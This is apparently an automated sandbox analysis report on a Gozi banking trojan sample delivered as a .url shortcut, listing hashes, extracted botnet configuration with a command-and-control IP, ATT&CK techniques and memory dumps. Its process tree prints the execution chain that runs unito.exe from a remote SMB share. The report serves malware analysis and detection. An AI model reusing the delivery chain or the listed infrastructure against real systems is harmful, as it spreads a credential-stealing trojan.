gozi | 9a4543f0a2eef8cb5f8ca9c07b512fd916d45c76c2b4bd2c50c6f8a006ce1c8a

Analysis

max time kernel
148s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
10-10-2023 09:00

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General

Target

Azienda.url
Size

191B
MD5

7d41622bb8e2d0cc1e148b9d536c792b
SHA1

e6c5682c27e11089d168601cd4764f038c084594
SHA256

6d66bf2eb0563f2298843d23431e879c2f7d7354b15e49a8c28c915b295f95cf
SHA512

1524ae1315fd5cf3c54ca3b636c1ce869edcafb789684d9761e1f0feb4e87a74ae909e76e435614715aa61b721690e943b5143613152fd2d5cd2af70052a9b40

Score

10^/10

gozi 5050 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

193.203.162.14

Attributes

base_path
/jerry/
build
250260
exe_type
loader
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 4724 wrote to memory of 4208	4724	rundll32.exe	unito.exe
PID 4724 wrote to memory of 4208	4724	rundll32.exe	unito.exe
PID 4724 wrote to memory of 4208	4724	rundll32.exe	unito.exe

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Azienda.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4724

\??\UNC\62.173.145.25\scarica\unito.exe
"\\62.173.145.25\scarica\unito.exe"
2⤵
PID:4208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4208-1-0x00000000023D0000-0x00000000024D0000-memory.dmp

Filesize
1024KB

Download
memory/4208-2-0x0000000002360000-0x000000000236B000-memory.dmp

Filesize
44KB

Download
memory/4208-3-0x0000000000400000-0x0000000002287000-memory.dmp

Filesize
30.5MB

Download
memory/4208-4-0x0000000000400000-0x0000000002287000-memory.dmp

Filesize
30.5MB

Download
memory/4208-5-0x0000000004140000-0x000000000414D000-memory.dmp

Filesize
52KB

Download
memory/4208-8-0x00000000023D0000-0x00000000024D0000-memory.dmp

Filesize
1024KB

Download
memory/4208-9-0x0000000002360000-0x000000000236B000-memory.dmp

Filesize
44KB

Download
memory/4208-10-0x0000000000400000-0x0000000002287000-memory.dmp

Filesize
30.5MB

Download